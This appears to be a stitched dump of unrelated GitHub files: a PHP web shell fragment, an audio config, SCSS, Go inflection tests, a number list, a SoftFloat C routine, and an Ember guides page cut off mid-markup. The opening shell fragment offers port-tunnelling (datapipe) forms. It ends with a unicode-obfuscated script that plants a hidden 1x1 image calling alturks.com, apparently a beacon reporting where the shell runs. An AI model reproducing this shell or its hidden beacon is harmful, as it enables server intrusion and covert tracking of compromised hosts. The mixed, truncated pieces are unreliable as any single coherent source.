value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>"; echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457')); echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dal.net')); echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667')); echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); echo $te."</td>".$fe."</tr></div></table>"; } echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>[ alturks.com http://www.alturks.com | <a href http://www.alturks.com</a> | version ".$version." ]</b></font></div></td></tr></table>".$f; ?> <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script>
{ "pile_set_name": "Github" }
# scrolling size to compute the delays scroll_size = 250 # cross correlation computation window size window_size = 500 #amount of maximum points for the xcorrelation taken into account nbest_amount = 4 #flag wether to apply an automatic noise thresholding do_noise_threshold = 1 #Percentage of frames with lower xcorr taken as noisy noise_percent = 10 ######## acoustic modelling parameters #transition probabilities weight for multichannel decoding trans_weight_multi = 25 trans_weight_nbest = 25 ### #flag wether to print the feaures after setting them, or not print_features = 1 #flag wether to use the bad frames in the sum process do_avoid_bad_frames = 1 #flag to use the best channel (SNR) as a reference #defined from command line do_compute_reference = 1 #flag wether to use a uem file or not(process all the file) do_use_uem_file = 0 #flag wether to use an adaptative weights scheme or fixed weights do_adapt_weights = 1 #smooth todas with viterbi do_acoustic_modelling = 1 #flag wether to output the sph files or just run the system to create the auxiliary files do_write_sph_files = 1 #write in sph format 1, 0 is wav #output_format = 0 ####directories where to store/retrieve info#### #channels_file = ./cfg-files/channels #show needs to be passed as argument normally, here a default one is given just in case #show_id = Ttmp
{ "pile_set_name": "Github" }
/*----------------------------------------------------------------------*/ /* Matrix Ultra Structure */ /*----------------------------------------------------------------------*/ .listbox .list{ .title { float: left; a { text-transform: lowercase; } } } .listbox{ .header{ border-bottom: $borderSize solid $borderColor; } .list .list-items{ border-bottom: 1px solid #1b1d22; } }
{ "pile_set_name": "Github" }
package inflection import ( "strings" "testing" ) var inflections = map[string]string{ "star": "stars", "STAR": "STARS", "Star": "Stars", "bus": "buses", "fish": "fish", "mouse": "mice", "query": "queries", "ability": "abilities", "agency": "agencies", "movie": "movies", "archive": "archives", "index": "indices", "wife": "wives", "safe": "saves", "half": "halves", "move": "moves", "salesperson": "salespeople", "person": "people", "spokesman": "spokesmen", "man": "men", "woman": "women", "basis": "bases", "diagnosis": "diagnoses", "diagnosis_a": "diagnosis_as", "datum": "data", "medium": "media", "stadium": "stadia", "analysis": "analyses", "node_child": "node_children", "child": "children", "experience": "experiences", "day": "days", "comment": "comments", "foobar": "foobars", "newsletter": "newsletters", "old_news": "old_news", "news": "news", "series": "series", "species": "species", "quiz": "quizzes", "perspective": "perspectives", "ox": "oxen", "photo": "photos", "buffalo": "buffaloes", "tomato": "tomatoes", "dwarf": "dwarves", "elf": "elves", "information": "information", "equipment": "equipment", "criterion": "criteria", "foot": "feet", "goose": "geese", "moose": "moose", "tooth": "teeth", "milk": "milk", "salt": "salt", "time": "time", "water": "water", "paper": "paper", "music": "music", "help": "help", "luck": "luck", "oil": "oil", "progress": "progress", "rain": "rain", "research": "research", "shopping": "shopping", "software": "software", "traffic": "traffic", "zombie": "zombies", "campus": "campuses", } // storage is used to restore the state of the global variables // on each test execution, to ensure no global state pollution type storage struct { singulars RegularSlice plurals RegularSlice irregulars IrregularSlice uncountables []string } var backup = storage{} func init() { AddIrregular("criterion", "criteria") copy(backup.singulars, singularInflections) copy(backup.plurals, pluralInflections) copy(backup.irregulars, irregularInflections) copy(backup.uncountables, uncountableInflections) } func restore() { copy(singularInflections, backup.singulars) copy(pluralInflections, backup.plurals) copy(irregularInflections, backup.irregulars) copy(uncountableInflections, backup.uncountables) } func TestPlural(t *testing.T) { for key, value := range inflections { if v := Plural(strings.ToUpper(key)); v != strings.ToUpper(value) { t.Errorf("%v's plural should be %v, but got %v", strings.ToUpper(key), strings.ToUpper(value), v) } if v := Plural(strings.Title(key)); v != strings.Title(value) { t.Errorf("%v's plural should be %v, but got %v", strings.Title(key), strings.Title(value), v) } if v := Plural(key); v != value { t.Errorf("%v's plural should be %v, but got %v", key, value, v) } } } func TestSingular(t *testing.T) { for key, value := range inflections { if v := Singular(strings.ToUpper(value)); v != strings.ToUpper(key) { t.Errorf("%v's singular should be %v, but got %v", strings.ToUpper(value), strings.ToUpper(key), v) } if v := Singular(strings.Title(value)); v != strings.Title(key) { t.Errorf("%v's singular should be %v, but got %v", strings.Title(value), strings.Title(key), v) } if v := Singular(value); v != key { t.Errorf("%v's singular should be %v, but got %v", value, key, v) } } } func TestAddPlural(t *testing.T) { defer restore() ln := len(pluralInflections) AddPlural("", "") if ln+1 != len(pluralInflections) { t.Errorf("Expected len %d, got %d", ln+1, len(pluralInflections)) } } func TestAddSingular(t *testing.T) { defer restore() ln := len(singularInflections) AddSingular("", "") if ln+1 != len(singularInflections) { t.Errorf("Expected len %d, got %d", ln+1, len(singularInflections)) } } func TestAddIrregular(t *testing.T) { defer restore() ln := len(irregularInflections) AddIrregular("", "") if ln+1 != len(irregularInflections) { t.Errorf("Expected len %d, got %d", ln+1, len(irregularInflections)) } } func TestAddUncountable(t *testing.T) { defer restore() ln := len(uncountableInflections) AddUncountable("", "") if ln+2 != len(uncountableInflections) { t.Errorf("Expected len %d, got %d", ln+2, len(uncountableInflections)) } } func TestGetPlural(t *testing.T) { plurals := GetPlural() if len(plurals) != len(pluralInflections) { t.Errorf("Expected len %d, got %d", len(plurals), len(pluralInflections)) } } func TestGetSingular(t *testing.T) { singular := GetSingular() if len(singular) != len(singularInflections) { t.Errorf("Expected len %d, got %d", len(singular), len(singularInflections)) } } func TestGetIrregular(t *testing.T) { irregular := GetIrregular() if len(irregular) != len(irregularInflections) { t.Errorf("Expected len %d, got %d", len(irregular), len(irregularInflections)) } } func TestGetUncountable(t *testing.T) { uncountables := GetUncountable() if len(uncountables) != len(uncountableInflections) { t.Errorf("Expected len %d, got %d", len(uncountables), len(uncountableInflections)) } } func TestSetPlural(t *testing.T) { defer restore() SetPlural(RegularSlice{{}, {}}) if len(pluralInflections) != 2 { t.Errorf("Expected len 2, got %d", len(pluralInflections)) } } func TestSetSingular(t *testing.T) { defer restore() SetSingular(RegularSlice{{}, {}}) if len(singularInflections) != 2 { t.Errorf("Expected len 2, got %d", len(singularInflections)) } } func TestSetIrregular(t *testing.T) { defer restore() SetIrregular(IrregularSlice{{}, {}}) if len(irregularInflections) != 2 { t.Errorf("Expected len 2, got %d", len(irregularInflections)) } } func TestSetUncountable(t *testing.T) { defer restore() SetUncountable([]string{"", ""}) if len(uncountableInflections) != 2 { t.Errorf("Expected len 2, got %d", len(uncountableInflections)) } }
{ "pile_set_name": "Github" }
3 2 0 4 3 0 2 1 3 0 2 2 2 2 0 0 0 2 3 2 4 4 2 0 0 4 2 2 2 3 0 2 2 0 2 2 2 17 9 0 2 2 2 3 0 9 3 0 0 2 4 0 0 2 2 0 2 2 0 2 2 2 2 0 0 2 0 10 0 21 2 3 3 2 5 0 13 1 2 2 2 3 3 0 2 0 0 0 2 3 2 3 0 0 2 15 18 15 2 5 2 2 3 3 0 2 0 2 2 2 4 2 0 5 2 2 0 2 0 2 2 2 2 2 0 2 12 3 0 0 14 0 2 7 2 0 2 2 3 2 2 2 0 0 3 14 2 2 0 2 1 2 2 0 2 0 0 3 0 0 2 0 0 2 0 2 3 0 0 2 0 2 0 2 0 0 2 0 2 0 0 2 2 0 0 2 17 0 1 0 2 2 0 2 2 9 0 2 0 2 2 2 3 2 2 1 1 0 2 5 0 2 2 0 0 2 2 3 0 3 1 3 2 2 3 2 3 0 2 3 2 0 3 0 27 0 2 0 2 2 2 2 0 2 0 0 2 0 2 0 2 0 0 0 0 0 3 2 2 2 2 2 2 2 0 0 3 5 3 0 2 2 2 2 0 0 5 2 8 0 3 2 2 3 2 2 2 1
{ "pile_set_name": "Github" }
/*============================================================================ This C source file is part of the SoftFloat IEEE Floating-Point Arithmetic Package, Release 3e, by John R. Hauser. Copyright 2011, 2012, 2013, 2014, 2015 The Regents of the University of California. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions, and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions, and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the University nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS "AS IS", AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. =============================================================================*/ #include <stdbool.h> #include <stdint.h> #include "platform.h" #include "internals.h" #include "specialize.h" #include "softfloat.h" float128_t f64_to_f128( float64_t a ) { union ui64_f64 uA; uint_fast64_t uiA; bool sign; int_fast16_t exp; uint_fast64_t frac; struct commonNaN commonNaN; struct uint128 uiZ; struct exp16_sig64 normExpSig; struct uint128 frac128; union ui128_f128 uZ; /*------------------------------------------------------------------------ *------------------------------------------------------------------------*/ uA.f = a; uiA = uA.ui; sign = signF64UI( uiA ); exp = expF64UI( uiA ); frac = fracF64UI( uiA ); /*------------------------------------------------------------------------ *------------------------------------------------------------------------*/ if ( exp == 0x7FF ) { if ( frac ) { softfloat_f64UIToCommonNaN( uiA, &commonNaN ); uiZ = softfloat_commonNaNToF128UI( &commonNaN ); } else { uiZ.v64 = packToF128UI64( sign, 0x7FFF, 0 ); uiZ.v0 = 0; } goto uiZ; } /*------------------------------------------------------------------------ *------------------------------------------------------------------------*/ if ( ! exp ) { if ( ! frac ) { uiZ.v64 = packToF128UI64( sign, 0, 0 ); uiZ.v0 = 0; goto uiZ; } normExpSig = softfloat_normSubnormalF64Sig( frac ); exp = normExpSig.exp - 1; frac = normExpSig.sig; } /*------------------------------------------------------------------------ *------------------------------------------------------------------------*/ frac128 = softfloat_shortShiftLeft128( 0, frac, 60 ); uiZ.v64 = packToF128UI64( sign, exp + 0x3C00, frac128.v64 ); uiZ.v0 = frac128.v0; uiZ: uZ.ui = uiZ; return uZ.f; }
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Computed Properties - The Object Model - Ember Guides</title> <meta name="description" content="What are Computed Properties? In a nutshell, computed properties let you declare functions as properties. You create one by defining a computed property as a function, which Ember will automatically call when you ask for the property. You can then use it..."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Computed Properties - The Object Model - Ember Guides"> <!----> <meta property="og:description" content="What are Computed Properties? In a nutshell, computed properties let you declare functions as properties. You create one by defining a computed property as a function, which Ember will automatically call when you ask for the property. You can then use it..."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Computed Properties - The Object Model - Ember Guides"> <!----> <meta name="twitter:description" content="What are Computed Properties? In a nutshell, computed properties let you declare functions as properties. You create one by defining a computed property as a function, which Ember will automatically call when you ask for the property. You can then use it..."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember368414" class="es-header ember-view" role="banner"><div id="ember368415" class="ember-view"><div class="container"> <nav id="ember368416" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember368417" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember368418" class="navbar-collapse collapse ember-view"><ul id="ember368419" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember368420" class="dropdown nav-item ember-view"> <a href="#" id="ember368421" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember368423" class="dropdown nav-item ember-view"> <a href="#" id="ember368424" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember368426" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember368427" class="dropdown nav-item ember-view"> <a href="#" id="ember368428" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember368430" class="dropdown nav-item ember-view"> <a href="#" id="ember368431" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember368433" class="nav navbar-nav ember-view"> <form> <div id="ember368434" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember368435" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember368436" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember368437" class="ember-basic-dropdown ember-view"> <div aria-label="v3.4.0" aria-owns="ember-basic-dropdown-content-ember368437" tabindex="0" data-ebd-id="ember368437-trigger" role="button" id="ember368438" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 3.4 (LTS) </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember368437" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember368442" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember368445" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/getting-started" id="ember368446" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember368447" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368449" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/tutorial" id="ember368450" class="cp-Panel-toggle ember-view"> Tutorial </a> <div id="ember368451" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368453" class="cp-Panel cp-is-open ember-view"><a href="/v3.4.0/object-model" id="ember368454" class="cp-Panel-toggle ember-view"> The Object Model </a> <div id="ember368455" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember368456" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 "> <a href="/v3.4.0/object-model/index" id="ember368458" class="ember-view"> Objects in Ember </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.4.0/object-model/classes-and-instances" id="ember368460" class="ember-view"> Classes and Instances </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.4.0/object-model/reopening-classes-and-instances" id="ember368462" class="ember-view"> Reopening Classes and Instances </a> </li> <li class="toc-link toc-level-1 selected"> <a href="/v3.4.0/object-model/computed-properties" id="ember368464" class="selected ember-view"> Computed Properties </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.4.0/object-model/computed-properties-and-aggregate-data" id="ember368466" class="ember-view"> Computed Properties and Aggregate Data </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.4.0/object-model/observers" id="ember368468" class="ember-view"> Observers </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.4.0/object-model/bindings" id="ember368470" class="ember-view"> Bindings </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.4.0/object-model/enumerables" id="ember368472" class="ember-view"> Enumerables </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368474" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/routing" id="ember368475" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember368476" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368478" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/templates" id="ember368479" class="cp-Panel-toggle ember-view"> Templates </a> <div id="ember368480" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368482" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/components" id="ember368483" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember368484" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368486" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/controllers" id="ember368487" class="cp-Panel-toggle ember-view"> Controllers </a> <div id="ember368488" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368490" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/models" id="ember368491" class="cp-Panel-toggle ember-view"> Models </a> <div id="ember368492" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368494" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/applications" id="ember368495" class="cp-Panel-toggle ember-view"> Application Concerns </a> <div id="ember368496" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368498" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/testing" id="ember368499" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember368500" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368502" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/ember-inspector" id="ember368503" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember368504" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368506" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/addons-and-dependencies" id="ember368507" class="cp-Panel-toggle ember-view"> Addons and Dependencies </a> <div id="ember368508" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368510" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/configuring-ember" id="ember368511" class="cp-Panel-toggle ember-view"> Configuring Ember.js </a> <div id="ember368512" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368514" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/contributing" id="ember368515" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember368516" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368518" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/glossary" id="ember368519" class="cp-Panel-toggle ember-view"> Glossary </a> <div id="ember368520" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember368521" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v3.4.0. <a href="/release/object-model/computed-properties" id="ember368522" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v3.4.0/object-model/computed-properties.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Computed Properties </h1> <hr> <div id="ember368523" class="ember-view"><h2 id="toc_what-are-computed-properties">What are Computed Properties?</h2> <section 